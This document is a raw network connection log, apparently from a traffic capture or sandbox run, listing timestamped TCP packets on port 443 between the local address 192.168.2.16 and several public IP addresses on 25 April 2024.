Apr 25, 2024 15:30:10.514267921 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.514343023 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.514352083 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.514390945 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.523478985 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.523493052 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.523575068 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.523585081 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.526664019 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.526740074 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.526755095 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.526807070 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.526976109 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.527000904 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.724767923 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:10.725307941 CEST	49721	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:10.725367069 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:10.726339102 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:10.726444960 CEST	49721	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:10.727025032 CEST	49721	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:10.727077961 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:10.727273941 CEST	49721	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:10.727292061 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:10.774359941 CEST	49721	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:10.977440119 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:10.977492094 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:10.977520943 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:10.977570057 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:10.977593899 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:10.977669954 CEST	49721	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:10.977741003 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:10.977780104 CEST	49721	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:10.977807999 CEST	49721	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:10.984802961 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:10.992433071 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:10.992461920 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:10.992537022 CEST	49721	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:10.992573977 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:10.992633104 CEST	49721	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:10.998044014 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:11.005712986 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:11.005834103 CEST	49721	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:11.005866051 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:11.046389103 CEST	49721	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:11.087563992 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:11.091140032 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:11.091233015 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:11.091243982 CEST	49721	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:11.091298103 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:11.091360092 CEST	49721	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:11.098870039 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:11.106570005 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:11.106673956 CEST	49721	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:11.106692076 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:11.114273071 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:11.114347935 CEST	49721	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:11.114362001 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:11.121900082 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:11.121993065 CEST	49721	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:11.122008085 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:11.130145073 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:11.130237103 CEST	49721	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:11.130265951 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:11.136857033 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:11.136976004 CEST	49721	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:11.137001038 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:11.144573927 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:11.144654989 CEST	49721	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:11.144674063 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:11.150865078 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:11.150966883 CEST	49721	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:11.150980949 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:11.157830954 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:11.157917976 CEST	49721	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:11.157932043 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:11.164882898 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:11.164911985 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:11.164984941 CEST	49721	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:11.165002108 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:11.165059090 CEST	49721	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:11.171889067 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:11.175597906 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:11.175699949 CEST	49721	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:11.175998926 CEST	49721	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:11.176032066 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:11.178006887 CEST	49725	443	192.168.2.16	172.253.124.99
Apr 25, 2024 15:30:11.178049088 CEST	443	49725	172.253.124.99	192.168.2.16
Apr 25, 2024 15:30:11.178142071 CEST	49725	443	192.168.2.16	172.253.124.99
Apr 25, 2024 15:30:11.178395987 CEST	49725	443	192.168.2.16	172.253.124.99
Apr 25, 2024 15:30:11.178419113 CEST	443	49725	172.253.124.99	192.168.2.16
Apr 25, 2024 15:30:11.401998043 CEST	443	49725	172.253.124.99	192.168.2.16
Apr 25, 2024 15:30:11.402415991 CEST	49725	443	192.168.2.16	172.253.124.99
Apr 25, 2024 15:30:11.402441978 CEST	443	49725	172.253.124.99	192.168.2.16
Apr 25, 2024 15:30:11.403424978 CEST	443	49725	172.253.124.99	192.168.2.16
Apr 25, 2024 15:30:11.403502941 CEST	49725	443	192.168.2.16	172.253.124.99
Apr 25, 2024 15:30:11.403863907 CEST	49725	443	192.168.2.16	172.253.124.99
Apr 25, 2024 15:30:11.403923035 CEST	443	49725	172.253.124.99	192.168.2.16
Apr 25, 2024 15:30:11.458332062 CEST	49725	443	192.168.2.16	172.253.124.99
Apr 25, 2024 15:30:11.458353996 CEST	443	49725	172.253.124.99	192.168.2.16
Apr 25, 2024 15:30:11.506376028 CEST	49725	443	192.168.2.16	172.253.124.99
Apr 25, 2024 15:30:12.172549963 CEST	49726	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:12.172591925 CEST	443	49726	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.172673941 CEST	49726	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:12.172885895 CEST	49726	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:12.172909021 CEST	443	49726	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.209568024 CEST	49728	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:12.209594011 CEST	443	49728	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.209671974 CEST	49728	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:12.210599899 CEST	49728	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:12.210611105 CEST	443	49728	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.396806955 CEST	443	49726	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.397182941 CEST	49726	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:12.397203922 CEST	443	49726	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.397541046 CEST	443	49726	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.397963047 CEST	49726	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:12.398035049 CEST	443	49726	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.398125887 CEST	49726	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:12.435565948 CEST	443	49728	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.435789108 CEST	49728	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:12.435811043 CEST	443	49728	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.436290026 CEST	443	49728	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.436553001 CEST	49728	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:12.436635017 CEST	443	49728	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.436636925 CEST	49728	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:12.444118023 CEST	443	49726	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.478346109 CEST	49728	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:12.478367090 CEST	443	49728	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.638659954 CEST	443	49726	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.638799906 CEST	443	49726	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.639048100 CEST	49726	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:12.639627934 CEST	49726	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:12.639651060 CEST	443	49726	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.660967112 CEST	443	49728	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.661026955 CEST	443	49728	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.661062956 CEST	443	49728	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.661120892 CEST	49728	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:12.661127090 CEST	443	49728	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.661143064 CEST	443	49728	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.661185026 CEST	49728	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:12.661195040 CEST	443	49728	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.661247969 CEST	49728	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:12.668375969 CEST	443	49728	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.676136017 CEST	443	49728	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.676170111 CEST	443	49728	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.676285982 CEST	49728	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:12.676292896 CEST	443	49728	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.678556919 CEST	49728	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:12.683758020 CEST	443	49728	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.691454887 CEST	443	49728	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.694464922 CEST	49728	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:12.694473028 CEST	443	49728	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.748327971 CEST	49728	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:12.770818949 CEST	443	49728	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.774511099 CEST	443	49728	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.774611950 CEST	443	49728	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.774693012 CEST	49728	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:12.775382996 CEST	49728	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:12.775392056 CEST	443	49728	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.829008102 CEST	49732	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:12.829077005 CEST	443	49732	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:12.829266071 CEST	49732	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:12.829833984 CEST	49732	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:12.829865932 CEST	443	49732	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.053251982 CEST	443	49732	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.053627014 CEST	49732	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:13.053672075 CEST	443	49732	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.054054976 CEST	443	49732	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.054454088 CEST	49732	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:13.054531097 CEST	443	49732	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.054620028 CEST	49732	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:13.096127033 CEST	443	49732	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.299300909 CEST	443	49732	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.299345970 CEST	443	49732	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.299375057 CEST	443	49732	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.299416065 CEST	443	49732	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.299437046 CEST	443	49732	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.299470901 CEST	49732	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:13.299513102 CEST	443	49732	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.299534082 CEST	49732	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:13.299566984 CEST	49732	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:13.306852102 CEST	443	49732	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.309824944 CEST	443	49732	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.309947968 CEST	49732	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:13.310020924 CEST	49732	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:13.310048103 CEST	443	49732	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.367470980 CEST	49733	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:13.367558002 CEST	443	49733	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.367667913 CEST	49733	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:13.367913961 CEST	49733	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:13.367933989 CEST	443	49733	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.376748085 CEST	49734	443	192.168.2.16	54.201.220.248
Apr 25, 2024 15:30:13.376790047 CEST	443	49734	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:13.376871109 CEST	49734	443	192.168.2.16	54.201.220.248
Apr 25, 2024 15:30:13.377348900 CEST	49734	443	192.168.2.16	54.201.220.248
Apr 25, 2024 15:30:13.377357006 CEST	443	49734	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:13.485131025 CEST	49735	443	192.168.2.16	162.247.243.39
Apr 25, 2024 15:30:13.485202074 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.485289097 CEST	49735	443	192.168.2.16	162.247.243.39
Apr 25, 2024 15:30:13.485560894 CEST	49735	443	192.168.2.16	162.247.243.39
Apr 25, 2024 15:30:13.485584021 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.592441082 CEST	443	49733	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.592848063 CEST	49733	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:13.592895031 CEST	443	49733	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.593262911 CEST	443	49733	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.593653917 CEST	49733	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:13.593725920 CEST	443	49733	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.593817949 CEST	49733	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:13.593883038 CEST	49733	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:13.593914032 CEST	443	49733	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.674400091 CEST	49673	443	192.168.2.16	204.79.197.203
Apr 25, 2024 15:30:13.712173939 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.712491989 CEST	49735	443	192.168.2.16	162.247.243.39
Apr 25, 2024 15:30:13.712523937 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.713403940 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.713531971 CEST	49735	443	192.168.2.16	162.247.243.39
Apr 25, 2024 15:30:13.714479923 CEST	49735	443	192.168.2.16	162.247.243.39
Apr 25, 2024 15:30:13.714570045 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.714654922 CEST	49735	443	192.168.2.16	162.247.243.39
Apr 25, 2024 15:30:13.714669943 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.742363930 CEST	443	49734	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:13.742654085 CEST	49734	443	192.168.2.16	54.201.220.248
Apr 25, 2024 15:30:13.742680073 CEST	443	49734	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:13.743041039 CEST	443	49734	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:13.743351936 CEST	49734	443	192.168.2.16	54.201.220.248
Apr 25, 2024 15:30:13.743419886 CEST	443	49734	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:13.743442059 CEST	49734	443	192.168.2.16	54.201.220.248
Apr 25, 2024 15:30:13.768277884 CEST	49735	443	192.168.2.16	162.247.243.39
Apr 25, 2024 15:30:13.784313917 CEST	49734	443	192.168.2.16	54.201.220.248
Apr 25, 2024 15:30:13.784343004 CEST	443	49734	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:13.860896111 CEST	443	49733	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.867188931 CEST	443	49733	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.867233038 CEST	443	49733	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.867292881 CEST	49733	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:13.867350101 CEST	443	49733	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.867439032 CEST	49733	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:13.867633104 CEST	443	49733	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.875497103 CEST	443	49733	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.875523090 CEST	443	49733	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.875556946 CEST	49733	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:13.875565052 CEST	443	49733	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.875621080 CEST	49733	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:13.883042097 CEST	443	49733	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.890718937 CEST	443	49733	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.890749931 CEST	443	49733	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.890793085 CEST	49733	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:13.890800953 CEST	443	49733	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.890852928 CEST	49733	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:13.927018881 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.927102089 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.927134037 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.927160025 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.927165031 CEST	49735	443	192.168.2.16	162.247.243.39
Apr 25, 2024 15:30:13.927196980 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.927217007 CEST	49735	443	192.168.2.16	162.247.243.39
Apr 25, 2024 15:30:13.930757046 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.930787086 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.930828094 CEST	49735	443	192.168.2.16	162.247.243.39
Apr 25, 2024 15:30:13.930836916 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.930896997 CEST	49735	443	192.168.2.16	162.247.243.39
Apr 25, 2024 15:30:13.934501886 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.937969923 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.938049078 CEST	49735	443	192.168.2.16	162.247.243.39
Apr 25, 2024 15:30:13.938057899 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.941730976 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.941802979 CEST	49735	443	192.168.2.16	162.247.243.39
Apr 25, 2024 15:30:13.941811085 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.945384979 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.945456982 CEST	49735	443	192.168.2.16	162.247.243.39
Apr 25, 2024 15:30:13.945463896 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.948966980 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.949043989 CEST	49735	443	192.168.2.16	162.247.243.39
Apr 25, 2024 15:30:13.949053049 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.952598095 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.952660084 CEST	49735	443	192.168.2.16	162.247.243.39
Apr 25, 2024 15:30:13.952667952 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.956228018 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.956284046 CEST	49735	443	192.168.2.16	162.247.243.39
Apr 25, 2024 15:30:13.956293106 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.963541985 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.963570118 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.963610888 CEST	49735	443	192.168.2.16	162.247.243.39
Apr 25, 2024 15:30:13.963644028 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.963691950 CEST	49735	443	192.168.2.16	162.247.243.39
Apr 25, 2024 15:30:13.967282057 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.970853090 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.970875978 CEST	443	49733	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.970935106 CEST	49735	443	192.168.2.16	162.247.243.39
Apr 25, 2024 15:30:13.970962048 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:13.974651098 CEST	443	49733	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.974678040 CEST	443	49733	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.974730968 CEST	49733	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:13.974744081 CEST	443	49733	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.974797010 CEST	49733	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:13.976274967 CEST	49673	443	192.168.2.16	204.79.197.203
Apr 25, 2024 15:30:13.982398033 CEST	443	49733	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.982459068 CEST	443	49733	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.982516050 CEST	49733	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:13.982523918 CEST	443	49733	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.982589006 CEST	443	49733	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.982642889 CEST	49733	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:13.982651949 CEST	443	49733	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:13.982717037 CEST	49733	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:13.982717037 CEST	49733	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:13.982717037 CEST	49733	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.005614996 CEST	49740	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.005635977 CEST	443	49740	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.005775928 CEST	49740	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.006232023 CEST	49740	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.006258965 CEST	443	49740	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.006890059 CEST	49741	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.006927013 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.006998062 CEST	49741	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.007287025 CEST	49741	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.007301092 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.024266005 CEST	49735	443	192.168.2.16	162.247.243.39
Apr 25, 2024 15:30:14.036454916 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:14.038053989 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:14.038078070 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:14.038197041 CEST	49735	443	192.168.2.16	162.247.243.39
Apr 25, 2024 15:30:14.038235903 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:14.038316965 CEST	49735	443	192.168.2.16	162.247.243.39
Apr 25, 2024 15:30:14.041676044 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:14.044684887 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:14.044749022 CEST	49735	443	192.168.2.16	162.247.243.39
Apr 25, 2024 15:30:14.044775009 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:14.047697067 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:14.047763109 CEST	49735	443	192.168.2.16	162.247.243.39
Apr 25, 2024 15:30:14.047772884 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:14.050617933 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:14.050677061 CEST	49735	443	192.168.2.16	162.247.243.39
Apr 25, 2024 15:30:14.050687075 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:14.050705910 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:14.050806999 CEST	49735	443	192.168.2.16	162.247.243.39
